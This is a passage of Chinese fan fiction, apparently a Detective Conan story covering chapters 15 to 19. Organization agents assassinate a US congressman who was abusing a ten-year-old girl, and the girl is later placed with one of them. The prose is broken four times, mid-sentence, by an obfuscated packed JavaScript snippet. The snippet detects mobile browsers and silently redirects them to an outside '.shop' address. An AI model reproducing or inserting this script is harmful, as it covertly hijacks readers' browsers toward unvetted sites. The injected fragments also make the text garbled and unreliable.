感受到若间菊江的视线,紧紧缩在毯子里的小女孩明显地颤抖了一下。 若间菊江的目光回到巴特布朗身上,那张面孔平凡到混进人堆里都不会有人多看一眼,那双眼睛却相当引人注意,昏暗的房间里,漆黑的瞳孔直勾勾地盯着他,眼神冰冷,与整张脸不协调到有些诡异。 “一定是有人做出了虚假的指控,是谁?我要见总统先生,我要亲自和他解释。”巴特布朗仍要狡辩,他意识到眼前的人是真的想要杀了他,因此他特意搬出总统,想要压住对方疯狂的举动。 就算见不到总统,只要从中斡旋一段时间,他手里的筹码足够他从这场政治丑闻中脱身。 巴特布朗这么信心满满地想着。 说来好笑,若间菊江自己也没想到她只不过用一句口号和瞎编的几句台词就用假FBI的身份唬住了真议员。 究竟是她演技太好还是FBI行事真就这么随心所欲? 不管是哪一个,巴特布朗的小算盘注定会落空了。 “任务完成。”安室透出现在门口,对若间菊江说。 他没有踏进来一步,相反,在看到那个小女孩时,还垂下了目光往后撤了撤。 现在这种情况,作为成年男性还是少和对方接触比较好。 若间菊江挑挑眉,安室透出任务的时候动作还挺快的,那她这边也该加快速度了。 这家酒店的隔音再怎么好也挡不住枪声,一旦扣动扳机就意味着他们该马上撤离,这也是若间菊江刚刚跟这个人渣废话这么多的原因。 她往前压了几步,枪口抵在巴特布朗的额前。 “见总统是不可能了,指控来自上帝,现在你就可以去见他了。” “砰”的一声,红色在雪白的枕头上蔓延,若间菊江嫌恶地在床单上蹭了蹭枪口,才把枪收到腰后。 该要撤离了,安室透打了个手势,若间菊江点点头往门口走,路过那个小女孩时,脚步顿了顿,还是没有停下。 不过就因为这个停顿,一只小手抓住了若间菊江职业装的裤筒。 “你们不是FBI,对吗?”小女孩是的声音还有些沙哑,小声地问道。 若间菊江有点惊讶,按理来说她应该马上抽身走人,但是她还是蹲下来平视这个弱小的身影。 “FBI不会真的杀死他,我知道这对他们来说会面临很严重的处罚。”小女孩主动解释道。 “也许我们只是很富有正义感的菜鸟FBI呢,不是每个人生下来就是老油条。”若间菊江耸耸肩,没有正面回答。 小女孩揪着若间菊江的裤子,抿着嘴倔强地看着她。 “好吧好吧,”若间菊江败下阵来,“你是个聪明的孩子,应该知道现在最重要的是逃跑而不是在这讨论真假FBI的事。” “看在你这么努力自救的份上……”若间菊江回头征求同事的同意。 安室透摆摆手,表示请便。 虽然他并不认同若间菊江直接把人杀死的行为,但你不能要求一个组织成员利用法律而不是手枪,更何况若间菊江本身就排斥男性。 况且巴特布朗的所作所为确实很恶心,他上一任期里所参与的儿童救助里有多少阴暗的事情滋生也可想而知了。 即使若间菊江不提出来,安室透也不会就把这个孩子这样扔在这,公安在美国帮不上什么忙,但以他个人的能力帮助她逃走重新生活还是做得到的。 现在若间菊江主动提出要帮助那个孩子,安室透当然不会反对了。 当巴特布朗的保镖们听到枪声后,嘴角挂着炸鸡的渣和可乐的汽水渍,匆匆忙忙地赶到房间时,房间里只剩下了一具还保留着体温的尸体。 上帝保佑,尸体还没凉透,这让保镖们可以轻而易举地将刚刚的枪声和巴特布朗的死联系在一起。 *** 回到最初的员工更衣室,安室透把衣服还给了被他打晕的倒霉蛋,小女孩从他推着的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724987|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具车里钻出来,跑到若间菊江身后。 “好了,这里安全了很多,或许是说再见的时间了。”若间菊江完全没有把她送到警局或者孤儿院的打算,眼前的孩子已经10岁了,并且非常聪明,目睹了杀人现场也很冷静,她完全能够决定自己的行动,即使她刚刚从魔窟里跑出来。 若间菊江掏了掏兜,空空如也,这才尴尬地想起来自己现在身上穿的是酒店的制服,不是她塞了许多零钞的外套。 她回过身坦坦荡荡地朝安室透伸出手。 该说不愧是新人搭档,已经开始培养默契了吗?安室透竟然看懂了若间菊江的需求,从自己的外套里拿出钱包来递给她,若间菊江也毫不客气地从包里抽出了五百美元放到小女孩的手里。 “希望今天晚上最后留给你的印象是你像执行了特工行动一样逃脱了追捕,最后因为成功完成任务而获得了五百美元的奖励。”若间菊江直视小女孩的眼睛,平静地说,“现在可以去开始你的新生活了,报警回家,流浪,或者别的什么。” 小女孩攥紧了手中的美金,望着若间菊江的脸,犹豫了一下,最后还是认真地点点头。 “就这样?”安室透语气冷淡,听起来完全不像是想要关心小女孩的样子。 “就这样吧,”若间菊江看着小女孩消失在街角的身影,“美国有成千上万的无家可归者,里面也不缺孩子,我们帮不了太久。” “随你高兴。”安室透倚着墙,冲若间菊江晃了晃钱包,“欠我500美元,别忘了记账。”说完就非常潇洒地朝贝尔摩德接应的方向走去了。 若间菊江跟在他身后拉着长音“知——道——啦——,”然后小声嘀咕,“同事之间干嘛这么小气,我又没说不还。” 安室透当作什么都没听见,被巴特布朗弄得沉闷的心情却变得轻松了些。 贝尔摩德的车早早地停在了接应的地方,黑色的轿车安安静静的,很容易就融入了夜色中。 这就是琴酒偏爱黑色的原因吗,想要达到这样和黑夜成为一体的效果,可惜同样的颜色穿在琴酒身上只会让他在人群里更加突出。 若间菊江伸了个懒腰,在安室透后面上了车,上车后还没来得及松懈下来好好休息,脑袋后面就被枪口对准了。 果不其然,身后传来了琴酒阴冷的声音。 “FBI?” 眼前是贝尔摩德一脸看好戏的表情,一边的安室透沉默了一下,最终还是什么都没说,现在说什么在琴酒眼里都很容易变成火上浇油。 实话说安室透并不认为若间菊江会是卧底,一般的卧底都是作风比较谨慎的,比如他和诸伏景光,因为卧底一旦言行出格就会收到更多的关注,暴露的可能性就更大,像若间菊江这样肆无忌惮的…… 安室透闭了闭眼,不知道组织有她是幸运还是不幸。 而当事人若间菊江此刻只想叹气,总觉得这场景似曾相识,琴酒威胁人的方式什么时候能进化一下呢?总用枪指来指去的多不礼貌。 难道这就是用枪指人者恒被人用枪指吗? 16.第 16 章 “好了,琴酒,不要这么紧张,这样会显得你很可怜的。”若间菊江一边说,一边系好安全带。 “可怜?”琴酒嗤笑,听起来很不屑。 “没有人跟你说过吗?干坏事的时候要报对手的名字,刺杀议员这种事不管是不是FBI干的,只要和他们扯上关系就足够讨论一番的了,更何况这次还牵扯了这种丑闻,”若间菊江理所当然地说,“你不会每次都傻傻地报组织的名字做任务吧?那不是显得我们很穷凶极恶了。” 安室透:组织难道还需要什么好名声吗? 显然琴酒和他是同样的想法,“花言巧语,组织的名声可以震慑那些小老鼠。” 若间菊江被琴酒朴实无华的回答惊到了,沉默了一下,突然冒出来了一句,“有没有可能是因为组织之前行事太嚣张了才引来你口中的那么多老鼠?” 安室透:…… “低调一点嘛,被那么多双眼睛盯着多难受,”若间菊江苦口婆心,“你看你,琴酒,被卧底搞得都应激了。” 这个女人讲大道理已经讲到完全忘记自己用炸弹威胁日向大厦时的嚣张和得意洋洋了。 前排坐着的贝尔摩德抵着下巴沉思,好像真的把若间菊江的某一句话听进去了。 “哦对了,就是你让我试探波本是不是卧底,我才顺口喊出来那一句的嘛。”若间菊江又这么旁若无人的丢出另一枚炸弹。 “原来这里面还有我的事情啊。”安室透抱着手臂挑眉,“我还以为我对组织的衷心天地可鉴呢。” 若间菊江双手合十对安室透做出了一个求饶的表情,试图让自己看起来非常无辜,“其实都是琴酒的命令,让我看看你是不是卧底,我对着世界地图扒拉了半天,觉得还是FBI可能性更大一点。” “哦?”贝尔摩德完全是嫌场面不够乱,还在鼓励若间菊江继续发言,“为什么?波本应该是日本人吧?公安不是更有可能?” “当着我的面这么讨论我很失礼吧。”安室透企图打断话题,虽然有信心自己没有破绽,但是贝尔摩德提到的“公安”二字还是让他紧张起来,搭在臂弯处的指节微微缩紧。 若间菊江当作没听到,积极回答贝尔摩德的问题,“日本公安还没那么开放包容吧,已经可以接纳外国人外表的警察并且放心放他们潜入组织卧底吗?” 他还真的是公安,他们公安这么包容让若间菊江失望了还真是不好意思啊。 安室透磨了磨后槽牙,刚刚的紧张被若间菊江一句话当场浇灭,有一种要被气笑了的感觉。 “MI6可能性就更低啦,CIA其实更有可能,但是巴特布朗毕竟是美国国内的议员,我觉得喊FBI更有气势一点。”若间菊江看着安室透越来越黑的脸,声音越说越小,最后全盘托出老实交代道。 “而且波本你完全不可能是FBI啦,刚刚你的反应只有震惊到呆滞,完全没有突然被喊到所属组织时下意识的紧张,所以你放心。” 若间菊江感觉自己好像有点对不起安室透,主动放下对男性的芥蒂,安慰地拍了拍对方的肩膀,然后被安室透绝情地拂开,“那还真是谢谢你了。”安室透从牙缝里挤出几个字。 “不客气?”若间菊江小心翼翼地回复。 “哇哦。”贝尔摩德鼓掌,“真是精彩的推理。” 还好柯尔希以后会是波本的搭档,贝尔摩德朝安室透投去一个怜悯的眼神。 安室透转开脸,拒接。 “这么说我交给你的任务你都完美的完成了?”被遗忘多时的琴酒冷声问道。 “当然啦。”若间菊江的尾音都透露着自信满满。 “最好是。”琴酒的枪口往前压了压,然后才把手枪收起来。 若间菊江揉了揉后脑勺,感觉刚刚被指的地方隐隐作痛,没了枪口的顾忌,说话更加所心所欲,“琴酒你的威胁方式能不能更新一点啊,每次都是这一套。” “等什么时候给我养成习惯了,你一拿出枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734246|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来我觉得脑袋后面不抵着点什么都不得劲儿了。”若间菊江阴阳怪气地说。 安室透闭了闭眼,他要撤回对琴酒脾气不好的评价,被若间菊江气到这种份上还没给她一颗子弹,琴酒的脾气说不定还不错。 不过这也意味着柯尔希很受组织上层的看好。 若间菊江自己应该也意识到这一点了吧,这是她肆无忌惮的资本。 安室透眸色加深,若间菊江的能力很强,假以时日慢慢升到组织高层也不是不可能,就是这个性格,太让人头疼了。 显然现在琴酒深有感触。 只见琴酒漆黑的帽子下,额前青筋绷起,声音只能用阴森来形容了,“柯尔希,你最好保证那位先生会一直看重你。” “谢谢你的祝福,我一向很讨领导喜欢。” 有大野课长的例子在,领导的喜欢对若间菊江来说不一定算是好事,但这可是超绝琴酒破防时刻! 若间菊江怎么能允许自己接不住琴酒的话头让对话整段垮掉。 话说,“那位先生”是谁啊? 好像这还是第一次从组织成员口中听到这个指代词。 琴酒冷冷地笑了一下,看起来下一秒就要把若间菊江送去地狱,不过却是转头走了,伏特加已经在另一辆车上等候多时,一直在往这边探头探脑。 “我把琴酒气跑了?”若间菊江语气里的新奇和兴奋掩都掩不住。 “恭喜,真是值得纪念的场景。”贝尔摩德笑盈盈地说。 安室透:…… 两个女人凑在一起的威力这么可怕,若间菊江一个人的力量已经够强了,偏偏贝尔摩德还一直哄着她,捧着她,让若间菊江更神采飞扬了。 还好这次任务结束后,贝尔摩德还会继续留在美国,只有若间菊江自己回去。 他觉得对付一百个巴特布朗都没有对付一个若间菊江让人心累,未来要和这样的人共事,安室透觉得自己在组织的日子灰暗得一眼望不到头。 17.第 17 章 眼前的酒店楼下已经围满了警车,各大媒体像闻到腐肉味儿的苍蝇一样涌上来把警察团团围住,话筒和摄影机一股脑地怼上去企图获取第一手新闻资料。 贝尔摩德他们的车子与陆陆续续赶来的FBI们擦肩而过,和FBI们凝重的神色形成鲜明的对比是,车里几人都很轻松的样子。 刚刚的疯闹劲儿过了,若间菊江像一个出门郊游后在回家路上活力耗尽的小学生,头靠在车窗上半阖着眼睛休息。 安室透支着脸看着窗外的警车,金色的头发被路灯的光照得亮眼,双眸却隐在发丝的阴影下,表情淡漠不知道在想些什么。 贝尔摩德的膝头放着笔记本电脑,此刻正对着屏幕敲敲打打,一时间车里只剩下键盘敲击的声音。 车子拐弯的时候,贝尔摩德从后视镜往后望了一眼,街角一个矮小的身影一闪而过,她惊讶了一瞬,随后看了眼闭眼假寐的若间菊江,若有所思地勾起嘴角。 “资料已经回收完毕,波本,做得不错。”贝尔摩德轻声说,她刚刚就是在处理巴特布朗的电脑传回来的文件。 她交给波本的U盘病毒能够在后台自动传输巴特布朗电脑里的文件到贝尔摩德的电脑里,这也就意味着FBI搜查出的情报组织手里也掌握了一份,这有助于组织在后续的竞选中适时爆出巴特布朗的丑闻,帮助支持的政客更好地打压竞争党派,获取更大的利益。 “没什么。”安室透看了眼若间菊江,用同样小声的音量回答道。 其实他刚刚将同样的情报同步抄送到公安的下线那里去了,公安对插手竞选没有什么想法,但安室透认为或许他们能够在这些情报中找到组织的把柄。 这次组织的行动太急促了,甚至有点慌乱,贝尔摩德更是在任务前就默许了巴特布朗的死亡,巴特布朗的完美政治人设也许是虚假的,对大资本强硬的态度却是真实的,他手里一定有不少组织的把柄,才会引得组织急匆匆下手。 FBI也是因为相同的考量急忙赶过来的,也不排除他们已经蹲点巴特布朗许久的可能性。 直接销毁文件是个好方法,但是巴特布朗这个人身上牵扯到的势力太过复杂,组织牺牲一些利益引得各方狗咬狗才更方便组织浑水摸鱼。 若间菊江刚刚评价组织的那番话,乍一听可能像是无差别攻击里的溅射伤害,只是她针对琴酒的进攻里附带一提的东西,贝尔摩德却意识到这和“那位先生”的一些想法重合了。 组织屹立近百年,绝不是沉不住气的团体,但因为这么多年的积累,资本逐渐增加,自然而然就得到了各国政府的注意。 既然体型太过庞大在水里难以躲藏,那就干脆把水搅得更浑一点,把水底的泥沙翻出来,遮掩住身影,从追猎者的视线里消失。 想到这,贝尔摩德意味深长地看向后座已经陷入浅眠的若间菊江。 她的脑袋搭在车窗上,随着车子的行驶一点一点的,看起来人畜无害,和醒着的时候形成极大的反差,这还是第一次有人在贝尔摩德的车上睡着,纵观整个组织,也就柯尔希能做到了。 而这样的柯尔希拥有卓越的嗅觉,让她能够很快地在组织里展露头角。 BOSS看中的就是她天生的敏感度吗?贝尔摩德在心里猜测。 *** 若间菊江已经不记得昨天晚上她的好同事是怎么把她送到房间的了,反正今天早上醒来的时候她就已经在自己房间的大床上了。 每日赞美安室透,若间菊江真诚地想着。 叫了份早餐送到房间,若间菊江坐在窗边的小桌子前,对着晨曦里的纽约,一边吃早餐一边打开了美国电视台的晨间新闻。 “昨晚21点,纽约州议员巴特布朗与克顿酒店19层的房间里遇害身亡,根据消息灵通人士称,巴特布朗遇害时正在进行令人发指的儿童性侵害行为,FBI已经找到了当事人,并声称这位年仅10岁的小女孩是案件唯一的受害者……” 若间菊江往嘴里送香肠的动作缓缓停住,冷笑一声。 看来全世界媒体粉饰太平的举动都是一样的,以巴特布朗的行事的熟练程度来看,这绝对不是他第一次对儿童实施犯罪行为,至于之前的受害者都去哪了…… 若间菊江放下刀叉,转头看着窗外的风景,不愿细想。 无家可归者一直是变态犯的最佳目标,他们大多没有固定的居所,没有熟悉的亲朋好友,即使消失了也不会有人在意,消失几个儿童更是像水滴到海面上一样没有丝毫波澜。 若间菊江将手掌贴到玻璃上,手掌冰凉的触感让她回了神。 眼前这座繁华的城市下隐藏了无数的污垢,政客就是钢筋水泥浇筑的美丽身躯上最大的蛀虫。 美国是这样,日本也是。 若间菊江突然感到有些无趣,意兴阑珊地关掉电视,躺回床上把自己摆成“大”字型,望着酒店华丽的吊顶放空自己。 几分钟后,她一骨碌爬起来,决定出门逛逛。 虽然刚刚到达纽约不到三天,但若间菊江初次踏上异国他乡的土地的兴奋已经过去了大半,只剩下深深的疲倦感。 她在极短的时间里迅速见识到了城市阴影里的霉菌,也隔着太平洋看到了日本一些人的影子。 原来全世界的人渣品种都差不多。 若间菊江回想起了小时候一些令人恶心的回忆,心情变得很差,低着头随意地溜达,不知不觉中就走到了酒店内部的健身房前。 作为高端品牌,这家酒店在内部配备了完善的休闲娱乐场所,楼顶的酒吧和眼前的健身房就在其中。 若间菊江隔着健身房玻璃墙,随意地扫了几眼,出乎意料地发现了一个熟悉的身影。 安室透一个人在跑步机上运动着,脖子上挂着一条毛巾,时不时擦擦脸上的汗珠,根据被汗水洇湿的衣服的程度来看,他已经锻炼了很长时间了。 若间菊江有被卷到,当即刷卡进入运动区,目标明确地朝着这道勤奋的身影走去。 “早上好,透君。”若间菊江从安室透身后冷不丁地出声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734247|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安室透像是早就发现了若间菊江了一样,一点也没有被她的小恶作剧吓到,面色如常地按下跑步机的暂停键,转过身来和若间菊江打招呼,“早上好,若间小姐。” “不要这么生疏吧,我们好歹是同事欸,就算不喊名字也不用特地加敬语吧。”若间菊江抗议。 不是都说一起做坏事是拉进两个人只见距离的最快方法,昨天晚上的任务难道还不够坏吗? 安室透看着若间菊江的表情就知道她在想什么,为了防止若间菊江在公共场所突然说出什么惊人的话来打他个措手不及,他只好从善如流,“好的,菊江。” 若间菊江满意地点点头,余光扫到安室透面前的跑步机控制板,突然睁大眼睛凑近了重新看,“这是你今天早上跑的?” 若间菊江指着跑步机上的数字不可置信。 安室透摸摸鼻子,没有吭声,他今天跑步的公里数确实比在家里时多了一点,主要是因为在跑步机上相对固定的位置很难感受到路程的增加,再加上他今天早上一边听新闻一边思考,一不留神就超出了预期的计划。 天哪这简直是超人,若间菊江对安室透肃然起敬,“现在的情报组简直恐怖如斯,我不会连打架也打不过你吧。”若间菊江不是很保有希望地问。 “可以试试?”安室透想了想,觉得这也是个试探若间菊江势力的好机会,就没有拒绝。 若间菊江盯着安室透看了一会儿,一脸严肃地把他拉到了一旁的练舞室。 五分钟后,若间菊江坐在地板上气喘吁吁,感觉自己的人生收到了很大的挑战。 她的体术是从小若间爸爸培养出来的,中途虽然中断过一段时间的练习,但很快又捡回来了,进入组织后更是经常泡在训练场里一整天,结果甚至都打不过情报组的这个黑皮! 她承认男性和女性之间有一定的力量差异,但这点差异可以通过后期不断的练习来弥补。 而人和猩猩之间的显然不能。 “你还好吗,菊江?”安室透也有点心虚。 若间菊江并没有像她自己认为的那样差劲,相反,她的体术即使放到男性里也是相当优异的档次,所以他在一时上头,没有控制好力道,况且对方的一些招数让他觉得有点眼熟,忍不住出招试探。 安室透心情沉了下去,这种诡异的熟悉感让他产生一种猜想,如果这个猜想是正确的,那…… 他摇摇头,先把这个想法抛在脑后,朝若间菊江伸出手,“不要一直坐在那,剧烈的呼吸会加重心肺的负担,站起来走一走。” 若间菊江撇了一眼面前的手掌,抿抿唇,借着力站起来,慢悠悠地走。 剧烈的运动果然是缓解情绪和压力的好方法,若间菊江现在觉得她的心情好多了,正要跟着安室透去尝试健身房其他的项目,贝尔摩德的短讯就跳了出来。 “要来一趟吗?有个惊喜~” 若间菊江看了一眼安室透毫无动静的手机,开始好奇了。 贝尔摩德有什么事要单独找她? 18.第 18 章 安室透注意到若间菊江的动作,递给她一条毛巾,问道,“发生什么了吗?” 若间菊江回过神来,接过毛巾擦了擦脑门的汗,摇摇头,“没什么,贝尔摩德找我。” 她盯着手机思考了一下,总觉得不是什么好事,但好奇心还是驱使她决定赴约,“看来只能下次一起锻炼了。” 安室透也没有过多挽留,他摊开手,略显遗憾地说,“我打听到当地一家很有特色的料理,本来还打算中午邀请你一起去尝试一下的,也只能等有机会了。” 同事之间约饭也是促进关系的通常手段,若间菊江想了想,承诺说,“现在时间还早,如果我赶得及的话,中午联系你?” “也好。”安室透语气温和,“那我就等你的简讯了。” 若间菊江随意挥了挥手,离开了健身房。 安室透看着若间菊江的背影,脸上的笑意逐渐散去,加入组织这么久,他第一次感到情况有些棘手。 若间菊江无疑具备了组织成员的特性,冷酷、狠辣、果断,又比一般的成员更加大胆。 但她身上同样有没有被组织浸染的,对弱小者的善良和怜悯,在任务之外,她就真的像普通人一样与人相处,生活,甚至很容易让安室透忘记她组织成员的身份。 安室透低着头发送了一条简讯给远在日本的下属,命令他尽快调查若间菊江的全部资料。 琴酒,贝尔摩德甚至那位先生都很关注若间菊江,安室透的心情有点复杂,内心祈祷事情不要像他猜测的那样。 现在唯一的好消息是若间菊江目前对他的防备心还很低,也并不排斥跟他相处,安室透捏了捏眉心,最起码打听到贝尔摩德找她有什么事的难度应该不会太高。 现在,他得去找找附近有什么好吃的料理了。 另一边,若间菊江已经根据贝尔摩德发送给她的房间号站在了门前。 这家酒店被组织的人包场了吗,若间菊江抬手敲了敲门,心里吐槽道。 贝尔摩德一边提醒她小心FBI,一边大摇大摆地入住同一家酒店,她就不信贝尔摩德作为组织的代号成员在美国发展了这么多年,没有进FBI的重点观察名单。 看来贝尔摩德对这家酒店的安全性很有信心,搞不好就是组织在国外的产业之一。 若间菊江乱七八糟地想着,屋内传来贝尔摩德的声音,“请进~” 房间的门没锁,她推门进去,只见贝尔摩德裹着浴袍站在窗前,头发还是湿漉漉的,一幅刚沐浴完的样子,一边的圆桌上放着两杯醒好的红酒,看起来等待她多时了。 “昨天晚上休息得如何?”贝尔摩德听到声音转过头来问道。 “还不错。”若间菊江大大方方地走过去,自然地坐到圆桌另一侧的椅子上,端起一旁的红酒,深红的酒液随着她的动作轻轻摇晃,香醇的气味也散发出来萦绕在鼻间。 “找我什么事情?”若间菊江开门见山地问道,虽然和美丽的女士相处是令人快乐的事,但是她直觉贝尔摩德不怀好意,而且她一会儿还要去和安室透吃饭,没空陪贝尔摩德品酒了。 贝尔摩德还是那副不紧不慢的样子,“当然是给你准备了惊喜,这次的任务‘那位先生’很满意,我想这份奖励你会高兴。” 说完,她扭头说道,“出来吧。” 若间菊江顺着她的目光看去,一个小女孩慢吞吞地走了出来。 昨天晚上还略显黯淡的金发被搭理得十分蓬松顺滑,身上的青青紫紫也被合体的衣服盖得严严实实,精致的小脸上一片冷漠,看到若间菊江时才有所松动,眼睛一亮,小步跑到若间菊江腿边仰慕地望着她。 若间菊江的脸色瞬间沉下去,她没有再看旁边的孩子,手中的酒杯放回玻璃圆桌上,发出“叮”的一声响,小女孩被吓得一颤,还是抓住了若间菊江的衣袖。 “什么意思?”若间菊江面若冰霜,冷笑一声,掀起眼皮看向贝尔摩德,如果她手里有一把枪,那它现在应该在贝尔摩德的脑门前。 “惊喜,不准确吗?”贝尔摩德轻笑一声,“柯尔希,不要那么紧张,我什么都没做,是这个美丽的小女孩主动来找到我的。” 贝尔摩德走到桌边端起另一杯酒,伸过去碰了碰若间菊江放在桌子上的酒杯,“她是个聪明的孩子,我们都这么认为,作为巴特布朗案的重要人证,克劳斯议员能够成功打击敌对党派的势力,她功不可没。” 说着,她抿了一口红酒,“你应该清楚孤苦无依的小女孩被卷入党政会是什么下场吧?所以她找到我说想要加入组织的请求很快就被同意了。” 贝尔摩德说起这些完全没想过避着当事人,小女孩还是那副平淡的样子,看来已经看清了自己的未来。 “她好像很钦慕你的样子,说到底,柯尔希,这还是你的功劳。”贝尔摩德将杯中的红酒一饮而尽。 若间菊江歪了歪头,“我记得美国和日本的法律都不允许雇佣童工?” “当然。”贝尔摩德唇边笑意加深,“组织只是培养她而已,事实上组织里还有一些和她年纪差不多的孩子,都是组织重点培养的人才。” 哦,童工要从小培养,才能成为最适合组织的打工人。 若间菊江在脑中自动翻译。 她并不意外在这里见到这个孩子,正如她所说的那样,怎么选择就是她自己的自由,若间菊江无权干涉,但她很讨厌被组织监控一举一动的感觉,组织对员工的控制欲也该有个限度。 “组织现在的意思是?”若间菊江端起酒杯喝了一口。 看到若间菊江的态度有所缓和,贝尔摩德在心里松了口气,试探若间菊江底线这件事,她本来不想沾手,与这样一个女人交恶于她而言并没有什么好处,以后反而要事事小心,防止对方在暗处突然报复。 可惜琴酒突然接到组织的任务前往中东,在美国的组织成员里只有她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755251|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合适了。 贝尔摩德在心里暗骂琴酒跑得到快,脸上的表情一丝不变,“她自己选择你做她的监护人,组织同意了。” 柯尔希是组织好用的刀,但她目前所表现出来的不稳定也让组织有所忌惮,现在难得有一个柯尔希表现出过一丝在意的把柄送上门来,组织没道理不抓住。 这个孩子在组织里能够一定程度上牵制柯尔希的行为,是组织拿捏的弱点,而且她本人的素质也不错,培养后能够成为组织的人才,不过若间菊江的反应却让贝尔摩德怀疑组织的算盘能不能够打响。 若间菊江支着头考虑了一会儿,没有说话,整个过程除了最开始的那一眼,她没有再分给那个孩子一个眼神,即使被小女孩用紧张期盼的眼神盯着,也一副不为所动的样子。 贝尔摩德忍不住开始猜测柯尔希是真的不在乎,还是意识到组织的想法装作不在乎的样子,然而事已至此,无论柯尔希是什么想法,这个孩子都必须塞给她。 “好吧,我同意了。”良久,若间菊江终于开口道,“但是小朋友的身份,监护人证明和抚养费……” 贝尔摩德马上表示,“组织会处理好。” “那就好。”若间菊江站起来,拍了拍衣角,分给了一边的小孩子一个眼光,“你想要跟我走吗?” 她迫不及待地点点头。 若间菊江无奈地叹口气,还好对方是很乖的女孩子,如果是男孩子她保不齐哪天就忍不住把人丢出去了。 若间菊江牵住她的手,领着她往门口走,懒得跟贝尔摩德告辞,即将踏出去的那一刻,若间菊江回过头,语气暗含警告,“没有下一次。” 两个人都知道她指的是什么。 贝尔摩德举起双手,作投降状,声音带着笑意,“当然不会了,亲爱的。” 即使再监视,也不会让若间菊江发现的。 房间门被重重地关上,贝尔摩德放松了下来,如果可以她真不想和柯尔希为敌,还好这次成功把麻烦甩出去了,那个孩子连带着后面追着的FBI就交给柯尔希去头疼吧。 若间菊江拉着小女孩走到电梯口,还是非常不爽,拧着眉头,又长叹了一口气,这孩子目前就站在整个事件的漩涡中心,麻烦事肯定是少不了的。 看来在美国购物放松的计划只能等到下一次了,若间菊江在心里哀叹。 这完全是被组织的工作入侵生活了。 小孩握着若间菊江的手紧了紧,很怕对方直接把她扔掉,她知道若间菊江并不想接手她。 若间菊江看着她眼中的不安,抿了抿唇,没有多说什么,而是掏出手机给安室透发了一条简讯,“我这边结束了,现在去吃饭吗?” 安室透正在房间里处理近期的工作,收到了若间菊江的信息,他刚刚准备回复,紧接着就看到了第二封来自对方的简讯。 “你说的那家料理,有儿童套餐吗?” 安室透:? 19.第 19 章 “我叫安娜,今年十岁了。”坐在汉堡店里,小朋友这么自我介绍道。 安室透原本选了一家高档的牛排店,西餐厅安静的氛围也更适合两个人小声地交谈,但是还没等他发出邀请就收到了若间菊江令人困惑的简讯,直到见面他也没理解到底发生了什么。 安室透试图通过眼神询问,若间菊江坦坦荡荡地回望。 她自己都不知道为什么现在会是这个发展,如果真要说一个原因,那就是她被贝尔摩德坑了。 果然,对美丽的女性保持警惕,不光是针对男人的至理名言。 安室透十分想要谴责若间菊江的不靠谱,但是在小孩子面前又说不出来什么重话,调整了一下情绪,他弯下腰对安娜问道,“饿了吗?有没有什么想吃的?” 安娜对男性还是有点畏惧,往若间菊江身后躲了躲,她抬头看了一眼若间菊江,见她没有什么反应,才对安室透摇了摇头。 安室透无奈,之前的选择显然不适合小朋友,安娜不愿意跟他说话,若间菊江又是一副等他拿主意的表情,最后还是他自己拍板决定,“那就去快餐店好了。”至少适合小朋友。 于是就有了开头的那一幕。 经过一小会儿的相处,安娜对安室透已经没有最开始那么排斥了,不过她明显还是更信任若间菊江,不管是站还是坐都要紧贴着她才能安心。 若间菊江懒散地往嘴里扔了根薯条,问出了她最好奇的问题,“你是怎么认出我的。” 她和安室透执行任务的时候都做了伪装,外表看起来平平无奇,就是她妈妈站在面前都不一定能认出来她,安娜是怎么找到她的? “我看到你们上了那个女人的车,克里斯温亚德。”安娜听到若间菊江的提问,把手中的汉堡放下,双手放到膝盖上,正襟危坐,补充道,“找到她后她说会带我来见你,即使长相不同,我也能认得出来。” 这就是有个大明星同事的坏处了,容易被顺藤摸瓜,还会被不靠谱的同事出卖,若间菊江苦恼地想。 安娜看着对面的安室透,那头金发同样很明显,“他也是昨天晚上你的同伴,对吧?” 若间菊江挑眉,没有回答这个问题,转而问道,“不是让你自己好好活着,凑上来干嘛,我们可不是什么好人哦。” 